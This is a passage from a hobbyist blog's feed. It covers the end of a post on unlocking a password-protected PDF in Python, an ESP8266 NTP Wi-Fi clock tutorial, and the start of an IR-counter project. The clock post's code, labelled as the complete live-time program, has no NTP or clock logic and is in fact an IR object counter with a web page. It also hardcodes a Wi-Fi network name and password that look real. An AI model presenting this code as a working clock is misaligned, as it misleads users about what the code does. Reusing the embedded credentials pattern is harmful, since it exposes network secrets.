&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;User provides file path&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ↓&lt;/p&gt;
&lt;p&gt;Program checks encryption&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ↓&lt;/p&gt;
&lt;p&gt;If encrypted → Ask password&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ↓&lt;/p&gt;
&lt;p&gt;Decrypt → Copy pages&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ↓&lt;/p&gt;
&lt;p&gt;Write new PDF (unprotected)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Security Considerations&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  As someone with a security background (especially if you&#39;re exploring
  automation or &lt;i&gt;&lt;b&gt;SecDevOps &lt;/b&gt;&lt;/i&gt;workflows), keep these points in mind:
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Never store plaintext passwords in logs&lt;/li&gt;
  &lt;li&gt;Use getpass() for secure input&lt;/li&gt;
  &lt;li&gt;Avoid automating password cracking&lt;/li&gt;
  &lt;li&gt;Log only metadata, not document content&lt;/li&gt;
  &lt;li&gt;If integrating into CI/CD pipelines:&lt;/li&gt;
  &lt;li&gt;Use environment variables for password input&lt;/li&gt;
  &lt;li&gt;Restrict file system access&lt;/li&gt;
  &lt;li&gt;Validate file extensions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Final Thoughts&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;i&gt;&lt;b&gt;Automating PDF decryption&lt;/b&gt;&lt;/i&gt; in &lt;b&gt;&lt;i&gt;Python &lt;/i&gt;&lt;/b&gt;is
  straightforward when using the correct libraries and maintaining proper
  security practices. This approach is ideal for:
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;IT automation workflows&lt;/li&gt;
  &lt;li&gt;Enterprise document processing&lt;/li&gt;
  &lt;li&gt;Backend document services&lt;/li&gt;
  &lt;li&gt;Internal compliance tools&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;h4 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 18px; line-height: 26px; margin: 0px 0px 15px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
    Disclaimer
  &lt;/h4&gt;
  &lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
    All tutorials are for informational and educational purposes only and have
    been made using our own routers, servers, websites and other vulnerable free
    resources. we do not contain any illegal activity. We believe that ethical
    hacking, information security and cyber security should be familiar subjects
    to anyone using digital information and computers. Hacking Truth is against
    misuse of the information and we strongly suggest against it. Please regard
    the word hacking as ethical hacking or penetration testing every time this
    word is used. We do not promote, encourage, support or excite any illegal
    activity or hacking.
  &lt;/p&gt;
  &lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
    &lt;br /&gt;
  &lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/8981693017815286188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2026/02/how-to-unblock-protected-pdf-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/8981693017815286188'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/8981693017815286188'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2026/02/how-to-unblock-protected-pdf-in-python.html' title='How to Unblock a Protected PDF in Python '/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0LKjVrFCdGyD6tnS8iYg-ObC5IGBzLfJyvUHPyVBOLh9kak67rKNK_Qfye1v8_gWI9re0Ko_r94UxnRJD9Xjg4IFfH_zMpZaypIh2GoHgJGAzPwPn9Gd9cOSpPh5cr2iPCZDn8Q799tdDncZJ_hXHoYAlVo1lsdlpuWUggPZ4AWXcLYwrmDDqpkUfSpUz/s72-w640-h360-c/python-unblock-password-pdf.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-2245113704091791414</id><published>2026-02-16T20:38:18.496-08:00</published><updated>2026-02-16T20:38:18.496-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="IoT project"/><title type='text'>Build a WiFi Live Clock Using ESP8266 and MAX7219 Dot Matrix Display (NTP Time Sync)</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  Build a WiFi Live Clock Using ESP8266 and MAX7219 Dot Matrix Display (NTP Time
  Sync)
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;🧠 Introduction&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  In this project, we will build a real-time digital clock using an ESP8266
  NodeMCU and a MAX7219 LED Dot Matrix Display. The clock automatically fetches
  the correct time from the internet using NTP (Network Time Protocol) over WiFi
  and displays it live on the LED matrix.
&lt;/p&gt;
&lt;p&gt;
  Unlike traditional RTC-based clocks, this project does not require an external
  RTC module because the ESP8266 continuously syncs time from NTP servers.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;This version is intentionally kept simple and stable:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;✅ Live Internet Time&lt;/p&gt;
&lt;p&gt;✅ Blinking Colon Effect&lt;/p&gt;
&lt;p&gt;✅ WiFi Synchronization&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Perfect for beginners in IoT and ESP8266 display projects.&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;⚙️ Components Required&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNVRXLHxk2BkLdCK14HCkzG_pII_uw0VfjUmqXk2dmnZzvK5GKRE3cwyje8L7F8SkWOquXE4T-Vg0MdgwjYWj_uLo749ofDyprzIQMyjU8laVjy79E9_i9EJSb3ZVVPbYg6wb-zz3MLa91mU8GXLW5mWtFNKc3FMS-uciE80SqmV8XnxiI47keyL5L9RCL/s792/wifi-time.png&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;397&quot; data-original-width=&quot;792&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNVRXLHxk2BkLdCK14HCkzG_pII_uw0VfjUmqXk2dmnZzvK5GKRE3cwyje8L7F8SkWOquXE4T-Vg0MdgwjYWj_uLo749ofDyprzIQMyjU8laVjy79E9_i9EJSb3ZVVPbYg6wb-zz3MLa91mU8GXLW5mWtFNKc3FMS-uciE80SqmV8XnxiI47keyL5L9RCL/w640-h320/wifi-time.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🔌 Wiring Connection (ESP8266 → MAX7219)&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHHAABPQFz4Dbo6McSBUwRR1q0eW8PZRVaCsLYCOCjj_HgSuoWgqxhxciCJnZdvT5MCdZ3oa22QNT6G9PMBSaxCNskj_Cd_bYkA1to9yORl3JDIKpQyB4n-1a9GzN7ug1SIq9S5kOhAr9gd7ShWFC06JZRDCwYycRM2Tt3DWd9BLE8ADF-QjCNX5rm0F09/s606/wifi-time-live.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;357&quot; data-original-width=&quot;606&quot; height=&quot;378&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHHAABPQFz4Dbo6McSBUwRR1q0eW8PZRVaCsLYCOCjj_HgSuoWgqxhxciCJnZdvT5MCdZ3oa22QNT6G9PMBSaxCNskj_Cd_bYkA1to9yORl3JDIKpQyB4n-1a9GzN7ug1SIq9S5kOhAr9gd7ShWFC06JZRDCwYycRM2Tt3DWd9BLE8ADF-QjCNX5rm0F09/w640-h378/wifi-time-live.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;⚠️ Important:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Ensure you connect modules IN → OUT in sequence.&lt;/li&gt;
  &lt;li&gt;Use FC16 hardware type modules for this configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;🌐 How the Clock Works&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;ESP8266 connects to your WiFi network.&lt;/li&gt;
  &lt;li&gt;It fetches current time from NTP servers.&lt;/li&gt;
  &lt;li&gt;Time is adjusted to IST timezone.&lt;/li&gt;
  &lt;li&gt;Time is displayed on the MAX7219 LED matrix.&lt;/li&gt;
  &lt;li&gt;Colon blinks every second for a live clock effect.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  💻 Complete Arduino Code (Live Time Display Only)
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;#include &amp;lt;ESP8266WiFi.h&amp;gt;
#include &amp;lt;ESP8266WebServer.h&amp;gt;
#include &amp;lt;MD_Parola.h&amp;gt;
#include &amp;lt;MD_MAX72xx.h&amp;gt;
#include &amp;lt;SPI.h&amp;gt;

#define HARDWARE_TYPE MD_MAX72XX::FC16_HW
#define MAX_DEVICES 4

#define DIN_PIN D7
#define CLK_PIN D5
#define CS_PIN  D8

#define IR_PIN     D2
#define SWITCH_PIN D1

MD_Parola display = MD_Parola(HARDWARE_TYPE, DIN_PIN, CLK_PIN, CS_PIN, MAX_DEVICES);
ESP8266WebServer server(80);

volatile int count = 0;
bool lastIRState = HIGH;

/* ---------- Wi-Fi credentials ---------- */
const char* ssid = &quot;Airtel_atul_4747&quot;;
const char* password = &quot;air83128&quot;;

/* ---------- Web page ---------- */
void handleRoot() {
  String page =
    &quot;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&quot;
    &quot;&amp;lt;meta name=&#39;viewport&#39; content=&#39;width=device-width, initial-scale=1&#39;&amp;gt;&quot;
    &quot;&amp;lt;meta http-equiv=&#39;refresh&#39; content=&#39;2&#39;&amp;gt;&quot;
    &quot;&amp;lt;title&amp;gt;ESP8266 Counter&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&quot;
    &quot;&amp;lt;h2&amp;gt;Live Counter - Hackingtruth.in | .org &amp;lt;/h2&amp;gt;&quot;
    &quot;&amp;lt;h1&amp;gt;&quot; + String(count) + &quot;&amp;lt;/h1&amp;gt;&quot;
    &quot;&amp;lt;a href=&#39;/reset&#39;&amp;gt;&amp;lt;button&amp;gt;Reset&amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt;&quot;
    &quot;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;;
  server.send(200, &quot;text/html&quot;, page);
}

void handleReset() {
  count = 0;
  server.sendHeader(&quot;Location&quot;, &quot;/&quot;);
  server.send(303);
}

void setup() {
  pinMode(IR_PIN, INPUT);
  pinMode(SWITCH_PIN, INPUT_PULLUP);

  display.begin();
  display.setIntensity(5);
  display.displayClear();

  WiFi.begin(ssid, password);
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
  }

  server.on(&quot;/&quot;, handleRoot);
  server.on(&quot;/reset&quot;, handleReset);
  server.begin();
}

void loop() {
  server.handleClient();

  bool currentIRState = digitalRead(IR_PIN);

  if (lastIRState == HIGH &amp;amp;&amp;amp; currentIRState == LOW) {
    count++;
    if (count &amp;gt; 999) count = 0;
    delay(300);
  }
  lastIRState = currentIRState;

  if (digitalRead(SWITCH_PIN) == LOW) {
    count = 0;
  }

  char buf[4];
  sprintf(buf, &quot;%03d&quot;, count);
  display.displayText(buf, PA_CENTER, 0, 0, PA_PRINT, PA_NO_EFFECT);
  display.displayAnimate();
}

&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6BXKhmou0Y1FYMtfpB6Mk-w9XRZFbrNRm7SyVWULVzrB-DW45B-eassMFruE157mhTS9LBnr2F1PP7g_NQhzywKHPmanoO4V2Fjvde8zTIXHbyF0Iu01sNxMzy2enPimwKZteqh7QS0MtcnfSFnCVgxsQ6Ftw-HHskK-_acJ4RCXNUA-5PWIzqgoy0iw2/s4000/IoT-based-ntp-live-time-esp8266.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;4000&quot; data-original-width=&quot;2250&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6BXKhmou0Y1FYMtfpB6Mk-w9XRZFbrNRm7SyVWULVzrB-DW45B-eassMFruE157mhTS9LBnr2F1PP7g_NQhzywKHPmanoO4V2Fjvde8zTIXHbyF0Iu01sNxMzy2enPimwKZteqh7QS0MtcnfSFnCVgxsQ6Ftw-HHskK-_acJ4RCXNUA-5PWIzqgoy0iw2/s320/IoT-based-ntp-live-time-esp8266.jpeg&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;h4 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 18px; line-height: 26px; margin: 0px 0px 15px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Disclaimer&lt;/h4&gt;&lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.&lt;/p&gt;&lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/2245113704091791414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2026/02/build-wifi-live-clock-using-esp8266-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/2245113704091791414'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/2245113704091791414'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2026/02/build-wifi-live-clock-using-esp8266-and.html' title='Build a WiFi Live Clock Using ESP8266 and MAX7219 Dot Matrix Display (NTP Time Sync)'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNVRXLHxk2BkLdCK14HCkzG_pII_uw0VfjUmqXk2dmnZzvK5GKRE3cwyje8L7F8SkWOquXE4T-Vg0MdgwjYWj_uLo749ofDyprzIQMyjU8laVjy79E9_i9EJSb3ZVVPbYg6wb-zz3MLa91mU8GXLW5mWtFNKc3FMS-uciE80SqmV8XnxiI47keyL5L9RCL/s72-w640-h320-c/wifi-time.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-7096420659273846886</id><published>2026-02-15T21:39:25.986-08:00</published><updated>2026-02-15T21:39:25.986-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="IoT project"/><title type='text'>ESP8266 IR Sensor Counter with Wi-Fi Logging</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgviPPL1OQDba3reHJWLLRL8S5BXQCQJqCVV9QJFFY82ZA0sdlV66IN2iLTosAQGUMrEG24JM7pZuS5kLjk0VpOLcxwZwE7OO6f-BPQ-fOGQ3vmbN8j9xhUTD1tFyxSZ9KIS8HxRdyB2FTWjoGWVjhxnmC-OMVvgjc1IM2DQC9wKcjtPWAkiEqm7Fbf7oYj/s1536/identify%20and%20separate%20all%20visual%20assets%20included%20in%20the%20image.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgviPPL1OQDba3reHJWLLRL8S5BXQCQJqCVV9QJFFY82ZA0sdlV66IN2iLTosAQGUMrEG24JM7pZuS5kLjk0VpOLcxwZwE7OO6f-BPQ-fOGQ3vmbN8j9xhUTD1tFyxSZ9KIS8HxRdyB2FTWjoGWVjhxnmC-OMVvgjc1IM2DQC9wKcjtPWAkiEqm7Fbf7oYj/w640-h426/identify%20and%20separate%20all%20visual%20assets%20included%20in%20the%20image.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  ESP8266 IR Sensor Counter with Wi-Fi Logging, MAX7219 Display &amp;amp; Data
  History Graphs (Complete IoT Project Guide)
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;🔎 Introduction&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;i&gt;IoT &lt;/i&gt;&lt;/b&gt;projects using &lt;b&gt;&lt;i&gt;ESP8266 &lt;/i&gt;&lt;/b&gt;are one of the best
  ways to learn embedded systems, networking, and real-time monitoring. In this
  project, we build a smart object counter system using an &lt;i&gt;IR Sensor&lt;/i&gt; (&lt;b&gt;Flying Fish v1.1&lt;/b&gt;), &lt;b&gt;&lt;i&gt;ESP8266 microcontroller&lt;/i&gt;&lt;/b&gt;, and &lt;b&gt;&lt;i&gt;MAX7219 LED display&lt;/i&gt;&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;
  The system connects to home Wi-Fi (Router Mode) and logs sensor activity to
  create data history and graphical analytics.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;This project is useful for:&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Visitor counting systems&lt;/li&gt;
  &lt;li&gt;Production line monitoring&lt;/li&gt;
  &lt;li&gt;Smart attendance tracking&lt;/li&gt;
  &lt;li&gt;Inventory automation&lt;/li&gt;
  &lt;li&gt;Entry/Exit monitoring systems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;⚙️ Components Used&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
#&lt;b&gt; ESP8266 (NodeMCU / ESP-12) -&lt;/b&gt;&amp;nbsp;&amp;nbsp;The ESP8266 is a low-cost,
32-bit WiFi-enabled microcontroller (typically 80-160MHz) widely used for IoT
projects, featuring built-in TCP/IP networking, 4MB flash, and GPIO pins.
Popular development boards, such as the NodeMCU CP2102&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;b&gt;# IR Sensor v1.1 (Flying Fish)&lt;/b&gt; — a compact infrared obstacle
    detection module with IR emitter/receiver, adjustable sensitivity
    potentiometer, and digital output pins for microcontroller-based object
    detection projects.
  &lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCHmNojFhfKcB1XMK4GRfplYhgjtjyltLo8PVNxVBLCOoNKgPM0c3qT4K0V2aQ17fbgpxbs_4vBkYyyspEvJgt6ndBjOY8yDQYRDy3bzd86S7pp7CLDMUlk2TpyjZ7vVWNrMyzlPCS0UxDN_NAVsWBDxVvxAnRFTzu89lBFneYHyUUXffMpBzNGpNugRxF/s1536/ir-sensor.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCHmNojFhfKcB1XMK4GRfplYhgjtjyltLo8PVNxVBLCOoNKgPM0c3qT4K0V2aQ17fbgpxbs_4vBkYyyspEvJgt6ndBjOY8yDQYRDy3bzd86S7pp7CLDMUlk2TpyjZ7vVWNrMyzlPCS0UxDN_NAVsWBDxVvxAnRFTzu89lBFneYHyUUXffMpBzNGpNugRxF/w640-h426/ir-sensor.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;br /&gt;&lt;b&gt;# MAX7219 LED Display Module -&amp;nbsp;&lt;/b&gt;MAX7219 4-in-1 Display Dot
    Matrix Module is an integrated serial input/output common-cathode display
    driver, it connects the microprocessor 7-segment digital LED display with 8
    digits, you can also connect a bar graph display or 64 independent
  &lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidlUlxboPocdZq9lQZeHyJ4Cs-tTJHXrzW19KsPNmqGllpc8rOIWH8s5G2PIHEWmEXc3hy4SrFGcJtLfUuqv0zbHhV6XJvmWGqJYn5oBuuiBhejsT5auKztqaQNa-R9MJY0UtuXyqwXkkmpuhDLjkgs-QXS8tq2S4VSmZuSbrstoaY-9o5CvpQs6OYMqk1/s800/max7219-dot-matrix-4-in-1-display-module-800x800-hackingtruth.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;800&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidlUlxboPocdZq9lQZeHyJ4Cs-tTJHXrzW19KsPNmqGllpc8rOIWH8s5G2PIHEWmEXc3hy4SrFGcJtLfUuqv0zbHhV6XJvmWGqJYn5oBuuiBhejsT5auKztqaQNa-R9MJY0UtuXyqwXkkmpuhDLjkgs-QXS8tq2S4VSmZuSbrstoaY-9o5CvpQs6OYMqk1/w640-h640/max7219-dot-matrix-4-in-1-display-module-800x800-hackingtruth.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
